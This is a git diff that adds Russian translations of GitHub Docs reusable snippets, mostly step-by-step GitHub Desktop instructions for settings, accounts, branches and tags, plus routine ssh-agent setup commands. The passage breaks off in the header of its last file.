![Поле имени локальной конфигурации Git](/assets/images/help/desktop/local-config-name.png) diff --git a/translations/ru-RU/data/reusables/desktop/mac-repository-settings-menu.md b/translations/ru-RU/data/reusables/desktop/mac-repository-settings-menu.md new file mode 100644 index 000000000000..1dadf5545147 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/mac-repository-settings-menu.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2056dae84baf4d40862aa20fb0687253b60571da +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061467" +--- +1. В меню **Репозиторий** щелкните **Параметры репозитория…** . ![Пункт меню "Параметры репозитория"](/assets/images/help/desktop/repository-settings-mac.png) diff --git a/translations/ru-RU/data/reusables/desktop/mac-select-accounts.md b/translations/ru-RU/data/reusables/desktop/mac-select-accounts.md new file mode 100644 index 000000000000..ef61126a974f --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/mac-select-accounts.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8a4ee46e1bde51f44ae19997246699f4bdb87d89 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138321" +--- +1. В окне "Параметры" выберите **Учетные записи**. + ![Область "Учетные записи" в окне "Параметры"](/assets/images/help/desktop/mac-select-accounts-pane.png) diff --git a/translations/ru-RU/data/reusables/desktop/mac-select-desktop-menu.md b/translations/ru-RU/data/reusables/desktop/mac-select-desktop-menu.md new file mode 100644 index 000000000000..24f67a881165 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/mac-select-desktop-menu.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 8081e7e59ffda1479a6c87d95d1cc34e340d79d0 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138318" +--- +1. В строке меню выберите раскрывающееся меню **{% data variables.product.prodname_desktop %}** и щелкните **Параметры**. + ![Пункт "Параметры" в раскрывающемся меню {% data variables.product.prodname_desktop %}](/assets/images/help/desktop/mac-choose-preferences.png) diff --git a/translations/ru-RU/data/reusables/desktop/make-changes.md b/translations/ru-RU/data/reusables/desktop/make-changes.md new file mode 100644 index 000000000000..9f3c19ef36d5 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/make-changes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 423c9740716c3019c9c0e1dfec3b948b753300f4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881686" +--- +1. С помощью предпочитаемого текстового редактора, например [Atom](https://atom.io/), внесите необходимые изменения в файлы проекта. diff --git a/translations/ru-RU/data/reusables/desktop/name-branch.md b/translations/ru-RU/data/reusables/desktop/name-branch.md new file mode 100644 index 000000000000..79dde03cca08 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/name-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5fb1f235ce356b44383a455ad24a850cadbfeef3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138313" +--- +1. В поле **Имя** введите имя новой ветви. diff --git a/translations/ru-RU/data/reusables/desktop/name-field-git-config.md b/translations/ru-RU/data/reusables/desktop/name-field-git-config.md new file mode 100644 index 000000000000..f5aa3c4a620f --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/name-field-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c102183d8d60cf8d4c96ed785d0b2542580afd2f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138305" +--- +1. В поле **Имя** введите имя, которое будет использоваться для конфигурации Git. diff --git a/translations/ru-RU/data/reusables/desktop/name-tag.md b/translations/ru-RU/data/reusables/desktop/name-tag.md new file mode 100644 index 000000000000..8fba5d6cd5fb --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/name-tag.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 05a1f302ed9e9e94f63da982755e071170d2b1e0 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138302" +--- +1. Введите имя тега. + ![Введите имя тега](/assets/images/help/desktop/enter-tag-name.png) diff --git a/translations/ru-RU/data/reusables/desktop/navigate-to-stashed-changes.md b/translations/ru-RU/data/reusables/desktop/navigate-to-stashed-changes.md new file mode 100644 index 000000000000..7325d1be5a6c --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/navigate-to-stashed-changes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a81175a14b3025f482154c241ec09fc15fce056f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138297" +--- +1. Если вы еще не находитесь в ветви, в которой спрятаны изменения, щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь**, а затем щелкните ветвь со спрятанными изменениями. + ![Список ветвей репозитория](/assets/images/help/desktop/click-branch-in-drop-down-mac.png) diff --git a/translations/ru-RU/data/reusables/desktop/open-repository-settings.md b/translations/ru-RU/data/reusables/desktop/open-repository-settings.md new file mode 100644 index 000000000000..d903a0c65ee7 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/open-repository-settings.md @@ -0,0 +1,22 @@ +--- +ms.openlocfilehash: 3867cf990f6df6b792472271ed3fcac0b2851ae3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138254" +--- +1. Откройте меню **Репозиторий** и выберите **Параметры репозитория...** . + + {% mac %} + + ![Пункт меню "Параметры репозитория" в приложении для Mac](/assets/images/help/desktop/mac-repository-settings.png) + + {% endmac %} + + {% windows %} + + ![Пункт меню "Параметры репозитория" в приложении для Windows](/assets/images/help/desktop/windows-repository-settings.png) + + {% endwindows %} + diff --git a/translations/ru-RU/data/reusables/desktop/preferences-options-tabs.md b/translations/ru-RU/data/reusables/desktop/preferences-options-tabs.md new file mode 100644 index 000000000000..d17202945c75 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/preferences-options-tabs.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 1830b28932a5480c65bc0f28cef13ccd93d60fb1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881678" +--- + - Выберите **Учетные записи** для добавления или удаления учетной записи {% data variables.product.prodname_dotcom %} либо {% data variables.product.prodname_enterprise %}. + - Выберите **Интеграции**, чтобы выбрать внешний редактор или оболочку. + - Выберите **Git**, чтобы изменить конфигурацию Git. + - Выберите **Внешний вид**, чтобы переключаться между светлой и темной темами. + - Выберите **Запросы**, чтобы включить или отключить диалоговые окна подтверждения перед выполнением разрушительных действий. + - Выберите **Дополнительно** для получения дополнительных параметров конфигурации. diff --git a/translations/ru-RU/data/reusables/desktop/protected-branches.md b/translations/ru-RU/data/reusables/desktop/protected-branches.md new file mode 100644 index 000000000000..440014e14ef5 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/protected-branches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 84502a0e13ce1dd75f251b3fe9ff371aef4d6f8a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138241" +--- +Администраторы репозитория могут включать защиту в ветви. Если вы работаете с защищенной ветвью, то не сможете удалить или принудительно отправить ее в ветвь. Администраторы репозитория могут включить другие параметры защищенной ветви для применения определенных рабочих процессов, прежде чем можно будет выполнить слияние для ветви. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/articles/about-protected-branches). diff --git a/translations/ru-RU/data/reusables/desktop/publish-repository.md b/translations/ru-RU/data/reusables/desktop/publish-repository.md new file mode 100644 index 000000000000..db04124c31fc --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/publish-repository.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: ba9a59706e77cc3f762d501f7c3a7f7c610cf86b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138233" +--- +3. На панели инструментов нажмите кнопку **Опубликовать репозиторий**. + ![Кнопка "Опубликовать репозиторий" на панели инструментов](/assets/images/help/desktop/publish-repository-toolbar-button.png) diff --git a/translations/ru-RU/data/reusables/desktop/push-origin.md b/translations/ru-RU/data/reusables/desktop/push-origin.md new file mode 100644 index 000000000000..9fb28acd857a --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/push-origin.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 869890dc93c5f8acada33703806efb0909ce3c25 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138238" +--- +1. Щелкните **Отправить origin**, чтобы отправить локальные изменения в удаленный репозиторий. +![Кнопка отправки](/assets/images/help/desktop/push-origin-button.png) diff --git a/translations/ru-RU/data/reusables/desktop/repository-settings-save.md b/translations/ru-RU/data/reusables/desktop/repository-settings-save.md new file mode 100644 index 000000000000..3f9e5a7c1255 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/repository-settings-save.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: a7a065fa04a767c700467c85bb10121628e8a792 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061446" +--- +1. Выберите команду **Сохранить**. + ![Кнопка "Сохранить"](/assets/images/help/desktop/repository-settings-save.png) diff --git a/translations/ru-RU/data/reusables/desktop/resolve-merge-conflicts.md b/translations/ru-RU/data/reusables/desktop/resolve-merge-conflicts.md new file mode 100644 index 000000000000..b309b296c17c --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/resolve-merge-conflicts.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b049fb4f8afc0f549dd8d1b6407e6a6957ab4924 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138230" +--- +1. Устраните все конфликты слияния предпочтительным способом: с помощью текстового редактора, командной строки или другого средства. Дополнительные сведения см. в разделе [Устранение конфликтов слияния](/github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts). diff --git a/translations/ru-RU/data/reusables/desktop/retrieve-2fa.md b/translations/ru-RU/data/reusables/desktop/retrieve-2fa.md new file mode 100644 index 000000000000..1e97b0306f48 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/retrieve-2fa.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 8ce5074496913c768c4ff56afaa968df9be4f39b +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879250" +--- +1. Если для {% data variables.product.prodname_enterprise %} настроена двухфакторная проверка подлинности, выполните одно из указанных ниже действий. + - Если настроена двухфакторная проверка подлинности по SMS, получите код проверки в SMS-сообщении. + - Если настроена двухфакторная проверка подлинности через приложение с одноразовыми паролями с ограниченным сроком действия, создайте код проверки. + + После этого введите код проверки в запросе в {% data variables.product.prodname_desktop %} и щелкните **Войти**. + ![Поле для ввода кода двухфакторной проверки подлинности](/assets/images/help/desktop/mac-2fa-code-prompt.png) diff --git a/translations/ru-RU/data/reusables/desktop/return-to-desktop.md b/translations/ru-RU/data/reusables/desktop/return-to-desktop.md new file mode 100644 index 000000000000..bc85df245b26 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/return-to-desktop.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ec52b0511c6ec58105abf2a4e0ecd7ce6d56a0fe +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147880592" +--- +1. Вернитесь в {% data variables.product.prodname_desktop %}. diff --git a/translations/ru-RU/data/reusables/desktop/revert-commit.md b/translations/ru-RU/data/reusables/desktop/revert-commit.md new file mode 100644 index 000000000000..634ed74b9813 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/revert-commit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0043716af7ec93186fa70781b8688ae9f02c10b5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138217" +--- +1. Щелкните правой кнопкой мыши фиксацию, которую нужно отменить, и выберите команду **Отменить изменения в фиксации**. diff --git a/translations/ru-RU/data/reusables/desktop/select-base-branch.md b/translations/ru-RU/data/reusables/desktop/select-base-branch.md new file mode 100644 index 000000000000..4bc2220dbf6b --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-base-branch.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8b5aa7f4b273658b2e6a3690e91b7a9bf7c2fe2c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138174" +--- +1. В раскрывающемся списке выберите базовую ветвь для новой ветви. diff --git a/translations/ru-RU/data/reusables/desktop/select-branch-to-delete.md b/translations/ru-RU/data/reusables/desktop/select-branch-to-delete.md new file mode 100644 index 000000000000..62a7027a7aa8 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-branch-to-delete.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b9a3ef6ac64e7c7621e07682b5b74e791dfb67f3 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138169" +--- +1. В верхней части приложения щелкните {% octicon "git-branch" aria-label="The branch icon" %} **Текущая ветвь**, а затем выберите ветвь, которую нужно удалить. diff --git a/translations/ru-RU/data/reusables/desktop/select-discard-files.md b/translations/ru-RU/data/reusables/desktop/select-discard-files.md new file mode 100644 index 000000000000..72301c390d15 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-discard-files.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 149f089d2308d27913255a0d340e5ab254fde829 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138166" +--- +1. В списке измененных файлов выберите файлы, в которых необходимо отменить изменения с момента последней фиксации. Чтобы выбрать несколько файлов, щелкните `shift` и выберите диапазон файлов, в которых требуется отменить изменения. + ![Выбор нескольких файлов для отмены изменений](/assets/images/help/desktop/select-multiple-files-discard.png) diff --git a/translations/ru-RU/data/reusables/desktop/select-email-git-config.md b/translations/ru-RU/data/reusables/desktop/select-email-git-config.md new file mode 100644 index 000000000000..6c0bd42fb725 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-email-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f58f74060032d4fbe80a2a2807a711473b07adab +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "146061419" +--- +1. Выберите раскрывающийся список **Электронная почта** и щелкните адрес электронной почты, который вы хотите использовать для фиксаций. diff --git a/translations/ru-RU/data/reusables/desktop/select-fork-behavior.md b/translations/ru-RU/data/reusables/desktop/select-fork-behavior.md new file mode 100644 index 000000000000..228c15455d3a --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-fork-behavior.md @@ -0,0 +1,36 @@ +--- +ms.openlocfilehash: 1baaac068c008a45a8a9446dfccaf83c5901b1ba +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138161" +--- +1. Нажмите кнопку **Поведение вилки**, а затем выберите способ использования вилки. + + {% mac %} + + ![Пункт "Участие в родительском репозитории" в меню "Поведение вилки"](/assets/images/help/desktop/mac-fork-behavior-menu-contribute.png) + + {% endmac %} + + {% windows %} + + ![Пункт "Участие в родительском репозитории" в меню "Поведение вилки"](/assets/images/help/desktop/windows-fork-behavior-menu-contribute.png) + + {% endwindows %} + +2. Выберите команду **Сохранить**. + + {% mac %} + + ![Кнопка "Сохранить" в меню "Поведение вилки"](/assets/images/help/desktop/mac-fork-behavior-save.png) + + {% endmac %} + + {% windows %} + + ![Кнопка "Сохранить" в меню "Поведение вилки"](/assets/images/help/desktop/windows-fork-behavior-save.png) + + {% endwindows %} + diff --git a/translations/ru-RU/data/reusables/desktop/select-git-config.md b/translations/ru-RU/data/reusables/desktop/select-git-config.md new file mode 100644 index 000000000000..932d12fab845 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/select-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 784733756880b590fbf40e17afd51467bffe62d6 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061430" +--- +1. Щелкните **Конфигурация Git**. ![Переход к конфигурации Git](/assets/images/help/desktop/select-git-config.png) diff --git a/translations/ru-RU/data/reusables/desktop/sign-in-browser.md b/translations/ru-RU/data/reusables/desktop/sign-in-browser.md new file mode 100644 index 000000000000..adb6017b4b2a --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/sign-in-browser.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3d5bc90d880464f465c0266c24a61967517fc856 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147063861" +--- +1. На панели "Вход с помощью браузера" нажмите кнопку **Продолжить с браузером**. {% data variables.product.prodname_desktop %} откроет браузер по умолчанию. + ![Вход с помощью ссылки для браузера](/assets/images/help/desktop/sign-in-browser.png) diff --git a/translations/ru-RU/data/reusables/desktop/sign-in-choose-product.md b/translations/ru-RU/data/reusables/desktop/sign-in-choose-product.md new file mode 100644 index 000000000000..2597267083e6 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/sign-in-choose-product.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: d9c6acd12be0050d922c7eaf7cf92720704fe112 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138153" +--- +1. Войдите в {% data variables.product.prodname_dotcom %} или {% data variables.product.prodname_enterprise %}. diff --git a/translations/ru-RU/data/reusables/desktop/switching-between-branches.md b/translations/ru-RU/data/reusables/desktop/switching-between-branches.md new file mode 100644 index 000000000000..d9efe4f69ec6 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/switching-between-branches.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 596abd24553913bcc10157f60b5b1b7dc2412a3b +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138150" +--- +1. В списке ветвей щелкните ветвь, на которую вы хотите переключиться. diff --git a/translations/ru-RU/data/reusables/desktop/tags-push-with-commits.md b/translations/ru-RU/data/reusables/desktop/tags-push-with-commits.md new file mode 100644 index 000000000000..e4ad1039a288 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/tags-push-with-commits.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 20ddc595c0afbad628021860bec6f5766ee8e170 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138145" +--- +По умолчанию {% data variables.product.prodname_desktop %} отправляет созданный вами тег в ваш репозиторий со связанной фиксацией. diff --git a/translations/ru-RU/data/reusables/desktop/update-email-address.md b/translations/ru-RU/data/reusables/desktop/update-email-address.md new file mode 100644 index 000000000000..a5eb59617819 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/update-email-address.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 738c4cb35ba10ff06a16b928860fbed2aaa8c283 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138142" +--- +Если фиксации, выполненные в {% data variables.product.prodname_desktop %}, связаны с неверной учетной записью на {% data variables.product.product_name %}, обновите адрес электронной почты в конфигурации GIT с помощью {% data variables.product.prodname_desktop %}. diff --git a/translations/ru-RU/data/reusables/desktop/use-local-git-config.md b/translations/ru-RU/data/reusables/desktop/use-local-git-config.md new file mode 100644 index 000000000000..0c047f81fdd3 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/use-local-git-config.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f5103f29628e2ffd4343ceeab703b947ccc363d7 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061427" +--- +1. В разделе "Для этого репозитория я хочу", выберите **Использовать локальную конфигурацию Git**. ![Основное поле удаленного репозитория](/assets/images/help/desktop/use-local-git-config.png) diff --git a/translations/ru-RU/data/reusables/desktop/windows-choose-options.md b/translations/ru-RU/data/reusables/desktop/windows-choose-options.md new file mode 100644 index 000000000000..745674d31008 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows-choose-options.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 3be61f80d481141da3aceffc5f478ee958f4d4a0 +ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145138137" +--- +1. В меню **Файл** выберите пункт **Параметры**. + ![Пункт "Параметры" в раскрывающемся меню "Файл"](/assets/images/help/desktop/windows-choose-options.png) diff --git a/translations/ru-RU/data/reusables/desktop/windows-repository-settings-menu.md b/translations/ru-RU/data/reusables/desktop/windows-repository-settings-menu.md new file mode 100644 index 000000000000..be3c9954b41e --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows-repository-settings-menu.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0a958e6843f56817eec6334882903625cea53a0c +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146061422" +--- +1. В меню **Репозиторий** щелкните пункт **Параметры репозитория…** . ![Пункт меню "Параметры репозитория"](/assets/images/help/desktop/repository-settings-win.png) diff --git a/translations/ru-RU/data/reusables/desktop/windows-select-accounts.md b/translations/ru-RU/data/reusables/desktop/windows-select-accounts.md new file mode 100644 index 000000000000..f64022830022 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows-select-accounts.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: b9524467fb027bd8b3c8445d50a9f587c473c44f +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145138094" +--- +1. В окне "Параметры" выберите **Учетные записи**. + ![Область "Учетные записи" в окне "Параметры"](/assets/images/help/desktop/windows-select-accounts-pane.png) diff --git a/translations/ru-RU/data/reusables/desktop/windows_git_bash.md b/translations/ru-RU/data/reusables/desktop/windows_git_bash.md new file mode 100644 index 000000000000..7e69cc2f54d1 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows_git_bash.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87c18be4093f5d6e2ec429f1d8b311666422236e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145138089" +--- +Если у вас установлено приложение [{% data variables.product.prodname_desktop %}](https://desktop.github.com/), его можно использовать для клонирования репозиториев, не прибегая к ключам SSH. diff --git a/translations/ru-RU/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md b/translations/ru-RU/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md new file mode 100644 index 000000000000..5e0fc612d671 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows_git_bash_turn_on_ssh_agent.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 428cbf55b065c4350f8d97dcde0ab4c598fb4409 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147885223" +--- +**При использовании GIT Bash** включите ssh-agent: +```shell +# start the ssh-agent in the background +$ eval "$(ssh-agent -s)" +> Agent pid 59566 +``` diff --git a/translations/ru-RU/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md b/translations/ru-RU/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md new file mode 100644 index 000000000000..2fe2d212aec4 --- /dev/null +++ b/translations/ru-RU/data/reusables/desktop/windows_git_for_windows_turn_on_ssh_agent.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 2d27e8b498ed47b4fc5147c66d7923dd71903132 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147883823" +--- +**Если вы используете другую командную строку терминала**, например [GIT для Windows](https://git-for-windows.github.io/), включите ssh-agent: +```shell +# start the ssh-agent in the background +$ eval $(ssh-agent -s) +> Agent pid 59566 +``` diff --git a/translations/ru-RU/data/reusables/developer-site/limit_workflow_to_activity_types.md b/translations/ru-RU/data/reusables/developer-site/limit_workflow_to_activity_types.md new file mode 100644 index 000000000000..1619f699c453 --- /dev/null +++ b/translations/ru-RU/data/reusables/developer-site/limit_workflow_to_activity_types.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c25a38ba82603ef1704906a69c337d6cb92b44c2 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146332043" +--- +По умолчанию все типы действий активируют рабочие процессы, которые выполняются в этом событии. Вы можете ограничить запуск рабочего процесса определенными типами действий с помощью ключевого слова `types`. Дополнительные сведения см. в статье [Синтаксис рабочего процесса для {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes). diff --git a/translations/ru-RU/data/reusables/developer-site/multiple_activity_types.md b/translations/ru-RU/data/reusables/developer-site/multiple_activity_types.md new file mode 100644 index 000000000000..86404d3c6fcc --- /dev/null +++ b/translations/ru-RU/data/reusables/developer-site/multiple_activity_types.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f0ac118efa7f2075a08b74d7b620a59188fa24a5 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145138073" +--- +Это событие активируется несколькими типами действий. diff --git a/translations/ru-RU/data/reusables/developer-site/pull_request_forked_repos_link.md b/translations/ru-RU/data/reusables/developer-site/pull_request_forked_repos_link.md new file mode 100644 index 000000000000..958a1c89a875 --- /dev/null +++ b/translations/ru-RU/data/reusables/developer-site/pull_request_forked_repos_link.md @@ -0,0 +1,32 @@ +--- +ms.openlocfilehash: a314a101135f5b47bfd573b1be6d7867db4ac26d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 